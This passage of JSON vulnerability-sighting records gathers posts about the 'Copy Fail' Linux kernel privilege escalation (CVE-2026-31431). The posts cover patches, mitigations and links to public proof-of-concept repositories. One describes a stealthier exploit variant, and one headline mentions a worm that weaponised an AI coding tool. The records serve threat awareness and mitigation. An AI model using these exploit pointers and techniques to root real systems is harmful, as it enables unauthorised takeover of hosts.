"vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/newstecnicas.info.ve/post/3mkquvrlo2k22", "content": "\ud83d\udc27 \u00bfC\u00f3mo funciona 'Copy Fail'? El exploit de 732 bytes que otorga acceso Root en Linux (CVE-2026-31431) (+MITIGACI\u00d3N) www.newstecnicas.info.ve/2026/04/copy...", "creation_timestamp": "2026-05-01T00:32:38.332529Z"}, {"uuid": "8eda1d47-1176-417e-aae8-5cd37d936fc8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/nodo.kahanamura.com/post/3mkqv5cflvk2i", "content": "The exploit affects *ALL DISTRIBUTIONS THAT HAVE NOT BEEN PATCHED FOR CVE-2026-31431*. \n\nI've patched my systems temporarily by disabling AEAD whilst I wait for Arch to push a new kernel if they've not done so already.\n\nYou can do so with the command in the following post:\n(RUN THIS AS ROOT!)", "creation_timestamp": "2026-05-01T00:36:47.075003Z"}, {"uuid": "aedd6891-01db-4430-b51f-9d531ef2ee00", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/nodo.kahanamura.com/post/3mkqv5cufjs2i", "content": "The exploit affects *ALL DISTRIBUTIONS THAT HAVE NOT BEEN PATCHED FOR CVE-2026-31431*. \n\nI've patched my systems temporarily by disabling AEAD whilst I wait for Arch to push a new kernel if they've not done so already.\n\nYou can do so with the command in the following post:\n(RUN THIS AS ROOT!)", "creation_timestamp": "2026-05-01T00:36:47.607630Z"}, {"uuid": "20222636-ae0e-4bde-ba18-b3369ac908e4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/nodo.kahanamura.com/post/3mkqv5cufjt2i", "content": "The exploit affects *ALL DISTRIBUTIONS THAT HAVE NOT BEEN PATCHED FOR CVE-2026-31431*. \n\nI've patched my systems temporarily by disabling AEAD whilst I wait for Arch to push a new kernel if they've not done so already.\n\nYou can do so with the command in the following post:\n(RUN THIS AS ROOT!)", "creation_timestamp": "2026-05-01T00:36:48.131812Z"}, {"uuid": "e9469974-3d5c-4972-b5bc-2a5ba0c41074", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/hendryadrian.bsky.social/post/3mkqvmsmyhv2q", "content": "CVE-2026-31431 "Copy Fail" is a Linux kernel flaw allowing local users to gain root by corrupting page cache of setuid binaries via algif_aead. Patches released in kernels 7.0, 6.19.12, and 6.18.22. #LinuxKernel #PrivilegeEscalation #USA", "creation_timestamp": "2026-05-01T00:45:27.748543Z"}, {"uuid": "87d885da-c23d-49ec-9802-215f2f2b05c1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://t.me/GithubRedTeam/82246", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-31431\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a sngrotesque\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-04-30 23:59:59\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nThe code after complete confusion.\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-05-01T00:00:05.000000Z"}, {"uuid": "3ccfb247-afd3-4d04-a4cf-726cc2912986", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-31431", "type": "seen", "source": "https://bsky.app/profile/feistel.sns.feistel.party.ap.brid.gy/post/3mkqwz547yc72", "content": "#CopyFail #cve_2026_31431 I wrote about denying containers access to AF_ALG sockets with SELinux\nhttps://blog.feistel.party/2026/04/30/deny-alg-socket-to-containers-with-selinux-to-mitigate-cve-2026-31431.html", "creation_timestamp": "2026-05-01T01:15:11.095323Z"}, {"uuid": "e4a0a872-5b87-42eb-b38b-9570564bcfe0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/yabuki.bsky.social/post/3mkr2ajwbxa25", "content": "Debian\u3067\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3fix\u3057\u305f\u30ab\u30fc\u30cd\u30eb\u304c\u964d\u308a\u3066\u304d\u3066\u3044\u308b\u306e\u3067\u3001\u5404\u81ea\u5bfe\u5fdc\u3092\u304a\u9858\u3044\u3057\u307e\u3059\u3002\u308f\u305f\u3057\u306f\u5bfe\u5fdc\u3057\u307e\u3057\u305f\u3002\n\nCVE-2026-31431\nsecurity-tracker.debian.org/tracker/CVE-...", "creation_timestamp": "2026-05-01T02:08:06.612667Z"}, {"uuid": "82df3f73-652b-4e2f-8268-2d2d391fc2d3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31430", "type": "seen", "source": "https://bsky.app/profile/motionthings.bsky.social/post/3mkr2fmr2r224", "content": "Note to self. Read release notes before posting.\nGreat job getting the fix for CVE-2026-31430 in so fast <3\n\nNow you only have to fix the regression that I have to log in to a web page to update my product :p", "creation_timestamp": "2026-05-01T02:10:54.646532Z"}, {"uuid": "1a19d7a2-b2fb-449b-92ea-7eef04f0d11d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/undercodenews.bsky.social/post/3mkr2zq7oej24", "content": "\u201cCopy Fail\u201d Linux Zero-Day CVE-2026-31431 Sparks Panic Over Root-Level Takeover Claims Across Major\u00a0Systems\n\nIntroduction: A Quiet Linux Flaw Turning Into a Loud Underground Alarm A newly discussed Linux vulnerability tracked as CVE-2026-31431, also referred to in underground forums as \u201cCopy Fail,\u201d\u2026", "creation_timestamp": "2026-05-01T02:22:09.781681Z"}, {"uuid": "ccdc779d-3acf-445a-80e1-70ec46039883", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-31431", "type": "seen", "source": "https://bsky.app/profile/linux.activitypub.awakari.com.ap.brid.gy/post/3mkr2taj5rie2", "content": "CVE-2026-31431 (Copy Fail): Linux Kernel LPE Article URL: https://securityboulevard.com/2026/04/cve-2026-31431-copy-fail-linux-kernel-lpe/ Comments URL: https://news.ycombinator.com/item?id=4797035...\n\n\nOrigin | Interest | Match", "creation_timestamp": "2026-05-01T02:28:51.008640Z"}, {"uuid": "1d9bd093-42aa-4fef-af1e-94da1095abe3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/pmloik.bsky.social/post/3mkr3im64kw25", "content": "Top 3 CVE for last 7 days:\nCVE-2026-31431: 213 interactions\nCVE-2026-3854: 53 interactions\nCVE-2026-41940: 32 interactions\n\n\nTop 3 CVE for yesterday:\nCVE-2026-31431: 160 interactions\nCVE-2026-41940: 31 interactions\nCVE-2025-31431: 29 interactions\n", "creation_timestamp": "2026-05-01T02:30:27.803104Z"}, {"uuid": "3ab6b46c-0ad6-4737-9c84-6eed5db9a6e1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/shiojiri.com/post/3mkr3i6agi2vh", "content": "Copy Fail \u2014 CVE-2026-31431 https://copy.fail/", "creation_timestamp": "2026-05-01T02:30:37.091398Z"}, {"uuid": "6fbf8982-2fdd-4dba-b03f-6651974987cc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://infosec.exchange/users/wdormann/statuses/116496993374350234", "content": "As mentioned earlier in this thread, the su corruption route was only one possible strategy to be used by this exploit.\nHere's another variant of the exploit that doesn't have to rely on such things to achieve its goal.\nFor example, the simple escalate argument simply removes the password requirement for su'ing to root.  There are other payloads also possible.\nSuch exploits will not have process 'su' launched '/bin/sh IOCs in the syslogs.  Perhaps all that is relevant is the alg: No test for authencesn(hmac(sha256),cbc(aes)) (authencesn(hmac-sha256-lib,cbc-aes-aesni)) part.  But there's no evidence of what was done.", "creation_timestamp": "2026-05-01T02:37:38.256314Z"}, {"uuid": "880c3e54-511d-4b5a-92c5-d2046baee527", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://infosec.exchange/users/vuldb/statuses/116497063036419923", "content": "Some increased actor activities are shown targeting Linux Kernel (CVE-2026-31431) https://vuldb.com/vuln/358784/cti", "creation_timestamp": "2026-05-01T02:55:11.869771Z"}, {"uuid": "585c1b4f-daa8-4149-898a-e33892a40fb0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31787", "type": "seen", "source": "https://infosec.exchange/users/vuldb/statuses/116497361883995276", "content": "We have just added an important vulnerability affecting Linux Kernel (CVE-2026-31787) https://vuldb.com/vuln/360295", "creation_timestamp": "2026-05-01T04:11:12.668011Z"}, {"uuid": "f08851de-336b-44a1-888a-fc7618701316", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31416", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/ubuntu-linux-kernel-multiple-vulnerabilities_20260803", "content": "", "creation_timestamp": "2026-08-03T05:35:36.257944Z"}, {"uuid": "57bd1900-8509-4f84-bc45-128fa3c42838", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31417", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/ubuntu-linux-kernel-multiple-vulnerabilities_20260803", "content": "", "creation_timestamp": "2026-08-03T05:35:39.220781Z"}, {"uuid": "ba51f560-4c2c-4e87-b858-3c1ef3627c88", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31476", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/ubuntu-linux-kernel-multiple-vulnerabilities_20260803", "content": "", "creation_timestamp": "2026-08-03T05:35:56.550612Z"}, {"uuid": "939ec021-7677-44dd-8839-612ce60a388c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31485", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/ubuntu-linux-kernel-multiple-vulnerabilities_20260803", "content": "", "creation_timestamp": "2026-08-03T05:36:03.366271Z"}, {"uuid": "addd7f65-bb2e-4be5-9699-fbd99e3674f7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31920", "type": "seen", "source": "https://bsky.app/profile/donwebmedia.bsky.social/post/3mkr5asb5fc2u", "content": "Zero-days WooCommerce 2026: c\u00f3mo blindar tu tienda\n\nCVE-2026-31920 afect\u00f3 52 versiones de WooCommerce. Conoc\u00e9 las vulnerabilidades cr\u00edticas de Q1 2026 y c\u00f3mo blindar tu tienda con medidas concretas.\n\n#woocommerce #zeroday #hardeningwordpress #cve2026 #wordfence", "creation_timestamp": "2026-05-01T03:01:53.289035Z"}, {"uuid": "6ae4f993-2358-4070-8731-0dabda5024f8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3mkr5qhknds2e", "content": "Linux\u30ab\u30fc\u30cd\u30eb\u306e\u30bc\u30ed\u30c7\u30a4\u8106\u5f31\u6027\u300c\u30b3\u30d4\u30fc\u5931\u6557\u300d\u306b\u3088\u308a\u30012017\u5e74\u4ee5\u964d\u3001\u4e3b\u8981\u306a\u30c7\u30a3\u30b9\u30c8\u30ea\u30d3\u30e5\u30fc\u30b7\u30e7\u30f3\u3067\u30eb\u30fc\u30c8\u30a2\u30af\u30bb\u30b9\u304c\u53ef\u80fd\u306b\u306a\u3063\u3066\u3044\u305f\u3002\n\n\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u7814\u7a76\u8005\u3089\u306f\u3001Linux\u30ab\u30fc\u30cd\u30eb\u306b\u5b58\u5728\u3059\u308b\u300cCopy Fail\u300d\uff08CVE-2026-31431\uff09\u3068\u547c\u3070\u308c\u308b\u91cd\u5927\u306a\u30bc\u30ed\u30c7\u30a4\u8106\u5f31\u6027\u3092\u516c\u8868\u3057\u305f\u3002\u3053\u306e\u8106\u5f31\u6027\u306b\u3088\u308a\u3001\u6a29\u9650\u306e\u306a\u3044\u30ed\u30fc\u30ab\u30eb\u30e6\u30fc\u30b6\u30fc\u304croot\u6a29\u9650\u3092\u53d6\u5f97\u3067\u304d\u308b\u53ef\u80fd\u6027\u304c\u3042\u308b\u3002\n\n\u653b\u6483\u8005\u306f\u3001\u308f\u305a\u304b732\u30d0\u30a4\u30c8\u306ePython\u30b9\u30af\u30ea\u30d7\u30c8\u3092\u4f7f\u7528\u3059\u308b\u3053\u3068\u3067\u30012017\u5e74\u4ee5\u964d\u306b\u30ea\u30ea\u30fc\u30b9\u3055\u308c\u305f\u4e3b\u8981\u306aLinux\u30c7\u30a3\u30b9\u30c8\u30ea\u30d3\u30e5\u30fc\u30b7\u30e7\u30f3\u306b\u5b58\u5728\u3059\u308b\u8ad6\u7406\u7684\u306a\u6b20\u9665\u3092\u60aa\u7528\u3059\u308b\u3053\u3068\u304c\u3067\u304d\u308b\u3002\n\nCopy Fail\u306f\u3001Linu...", "creation_timestamp": "2026-05-01T03:10:41.669415Z"}, {"uuid": "cfb82d31-cbe1-4767-9d56-f6142fd1b33b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/stuartl.mastodon.longlandclan.id.au.ap.brid.gy/post/3mkr6f5zb7b22", "content": "Checking the #CopyFail #CVE_2026_31431 status on #AlpineLinux, again nothing heard officially from @alpinelinux but I did see this:\n\nhttps://github.com/theori-io/copy-fail-CVE-2026-31431/issues/4#issuecomment-4354558846\n\nMaybe the issue has been quietly dealt with or was never an issue to begin [\u2026]", "creation_timestamp": "2026-05-01T03:22:16.140526Z"}, {"uuid": "daf89421-362b-4408-9fc7-773e519dbac9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-31431", "type": "seen", "source": "https://bsky.app/profile/Earl.mast.john1126.com.ap.brid.gy/post/3mkr76rsfjef2", "content": "Linux computers, even fully patched, are vulnerable to the \"Copy Fail CVE-2026-31431\" exploit.\n\nA temporary fix is shown on askubuntu.com.\n\nhttps://askubuntu.com/questions/1566254/how-do-i-fix-cve-2026-31431-on-ubuntu-24-04-lts\n\n#CopyFail #Security #Linux", "creation_timestamp": "2026-05-01T03:36:35.576630Z"}, {"uuid": "fa5ea75f-85e7-4f8a-be37-ba682d0407e9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/infosec.skyfleet.blue/post/3mkr7dz3x5f2v", "content": "Re: CVE-2026-31431: CopyFail: linux local privilege scalation", "creation_timestamp": "2026-05-01T03:39:28.427916Z"}, {"uuid": "7d072864-a4ed-448e-a4a2-db43598519d3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://t.me/GithubRedTeam/82264", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a alg_check\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a professional-slacker\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Shell\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-05-01 02:59:08\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nCVE-2026-31431\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-05-01T03:00:04.000000Z"}, {"uuid": "96f015e7-8ca5-421a-951e-966f85cc6489", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/chezo.uno/post/3mkrbprxbz22q", "content": "WSL2\u3067Copy fail\u8abf\u3079\u305f\u3089\u3001\u3059\u3067\u306bdisable\u3055\u308c\u3066\u305f\u3063\u307d\u3044\n\n```\n\u276f grep -r algif_aead /etc/modprobe.d/\n\n/etc/modprobe.d/disable-algif_aead.conf:# Disable algif_aead module due to CVE-2026-31431 (AKA copy.fail)\n/etc/modprobe.d/disable-algif_aead.conf:install algif_aead /bin/false\n```", "creation_timestamp": "2026-05-01T04:21:49.168761Z"}, {"uuid": "3511dbc7-dfe1-44c5-a694-d7f251aba00f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/opsmatters.com/post/3mkrdnwj4aa2j", "content": "The latest update for #Mendit includes \"CVE-2026-31431 (Copy Fail): #Linux Kernel LPE\" and \"Shai-Hulud Strikes #SAP: Supply Chain Worm Weaponized Claude Code to Compromise the CAP Framework\".\n \n#CyberSecurity #DevOps #OpenSource #Compliance https://opsmtrs.com/3zEYo7d", "creation_timestamp": "2026-05-01T04:56:36.577918Z"}, {"uuid": "bac6b8fc-55b5-4d54-b8b2-575228c88c8d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/shiojiri.com/post/3mkrepvc7gcvh", "content": "Copy Fail\uff1a9\u5e74\u9593\u898b\u904e\u3054\u3055\u308c\u3066\u3044\u305fLinux\u30ab\u30fc\u30cd\u30eb\u306e\u8106\u5f31\u6027\u3001\u30a8\u30af\u30b9\u30d7\u30ed\u30a4\u30c8\u3082\u516c\u958b\uff08CVE-2026-31431\uff09 | Codebook\uff5cSecurity News https://codebook.machinarecord.com/threatreport/silobreaker-cyber-alert/45427/", "creation_timestamp": "2026-05-01T05:16:00.011645Z"}, {"uuid": "fd32a886-8687-4420-80c2-e3f94202e445", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/xchatter.techmeme.com/post/3mkrfp7ww3x2y", "content": "This tweet appeared under this Techmeme headline:\n\n@vxunderground:\n\nCVE-2026-31431 a/k/a CopyFail > Linux LPE > Description sounds like AI slop > Exploit is legit > Impacts every Linux kernel from 2017 - Now > Proof-of-concept released > It's Wednesday? https://copy.fail/", "creation_timestamp": "2026-05-01T05:33:08.096051Z"}, {"uuid": "4199a5fb-829d-4d30-b3f8-491524113989", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/xchatter.techmeme.com/post/3mkrfrerlqi24", "content": "This tweet appeared under this Techmeme headline:\n\nBrian Pak / @brian_pak:\n\nTime to talk about this one. CopyFail (CVE-2026-31431) -- a 732-byte Python script that roots every Linux distro shipped since 2017. \ud83e\uddf5", "creation_timestamp": "2026-05-01T05:34:19.607417Z"}, {"uuid": "e1996a4e-717a-48ce-966e-eaf40f2433e1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://t.me/GithubRedTeam/82283", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a copyfail-briefing\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a jodonnel\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a HTML\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-05-01 04:59:26\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nCVE-2026-31431 (Copy Fail) \u2014 Security briefings and remediation comparison\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-05-01T05:00:04.000000Z"}, {"uuid": "e11456ba-4a17-4e57-abac-0dbb87c68843", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/bontchev.infosec.exchange.ap.brid.gy/post/3mkrid6wtl2d2", "content": "CopyFail implementation in Rust:\n\nhttps://github.com/iss4cf0ng/CVE-2026-31431-Linux-Copy-Fail", "creation_timestamp": "2026-05-01T06:24:59.058032Z"}, {"uuid": "c46a49ed-d617-4de7-bb5c-1e7cf3705061", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/lemagit.bsky.social/post/3mkrin4qd3l23", "content": "CVE-2026-31431 : \u00c9vasion de privil\u00e8ges noyau Linux. \ud83d\udc27 Ce n'est pas juste un bug, c'est une porte vers le root sur votre cluster. Comprenez la m\u00e9canique et les d\u00e9fenses imm\u00e9diates avant l'exploitation. [Lien] [lire]", "creation_timestamp": "2026-05-01T06:25:38.472365Z"}, {"uuid": "35321f35-ea7f-4375-9e7a-a1557aa3b89e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/bryanseah234.bsky.social/post/3mkriodz4nk2d", "content": "I'm currently watching \"This Linux exploit is quite powerful (CopyFail - CVE-2026-31431)\"\n https://www.youtube.com/watch/cIM_wCS3axw", "creation_timestamp": "2026-05-01T06:26:19.450924Z"}, {"uuid": "df85db3c-cc0c-4f4f-b47f-2c02c30844c3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/infosec.skyfleet.blue/post/3mkriud27n22j", "content": "Re: CVE-2026-31431: CopyFail: linux local privilege scalation", "creation_timestamp": "2026-05-01T06:29:39.667796Z"}, {"uuid": "e81074ba-2195-4615-aa79-af5a821683e9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://t.me/GithubRedTeam/82287", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a cve-2026-31431\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a nisec-eric\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-05-01 05:53:22\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nAI for Work. handy to test\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-05-01T06:00:06.000000Z"}, {"uuid": "57c13bd3-44b1-4836-8cd3-3da301f7899f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/shiojiri.com/post/3mkrldampucvh", "content": "Linux\u30ab\u30fc\u30cd\u30eb\u306e\u8106\u5f31\u6027\u300cCopyFail (CVE-2026-31431)\u300d\u3092EC2\u306eUbuntu 22.04\u3067\u5b9f\u8a3c\u3057\u3066\u307f\u305f https://zenn.dev/aeyesec/articles/7e4a1e3c83e81b", "creation_timestamp": "2026-05-01T07:14:13.614645Z"}, {"uuid": "98a87de4-a6f6-427b-8915-bc6988578734", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/tech-trending.bsky.social/post/3mkrlny5pyk2m", "content": "Linux\u30ab\u30fc\u30cd\u30eb\u306e\u8106\u5f31\u6027\u300cCopyFail (CVE-2026-31431)\u300d\u3092EC2\u306eUbuntu 22.04\u3067\u5b9f\u8a3c\u3057\u3066\u307f\u305f\nhttps://share.google/Tl72kRvZHdSMkUUv0", "creation_timestamp": "2026-05-01T07:19:48.238109Z"}, {"uuid": "48092243-63b1-4f2a-9e10-3e7ff2d22923", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/shiojiri.com/post/3mkrlweuggkvh", "content": "Linux\u306e\u8106\u5f31\u6027\u5bfe\u7b56\u306b\u3064\u3044\u3066(CVE-2026-31431\u3001Copy Fail) | \u60c5\u5831\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3 | IPA \u72ec\u7acb\u884c\u653f\u6cd5\u4eba \u60c5\u5831\u51e6\u7406\u63a8\u9032\u6a5f\u69cb https://www.ipa.go.jp/security/security-alert/2026/alert20260501.html", "creation_timestamp": "2026-05-01T07:24:54.081525Z"}, {"uuid": "05d59cfc-d800-4cdd-a95a-ee5c532bd323", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/kompetenztraining.bsky.social/post/3mkrm3hvytv2n", "content": "CVE-2026-31431: Logikfehler im Linux-Kernel-Crypto-Subsystem (algif_aead), seit 2017 unentdeckt in allen gro\u00dfen Distros. 732 Byte Python gen\u00fcgen f\u00fcr root \u2014 best\u00e4tigt auf 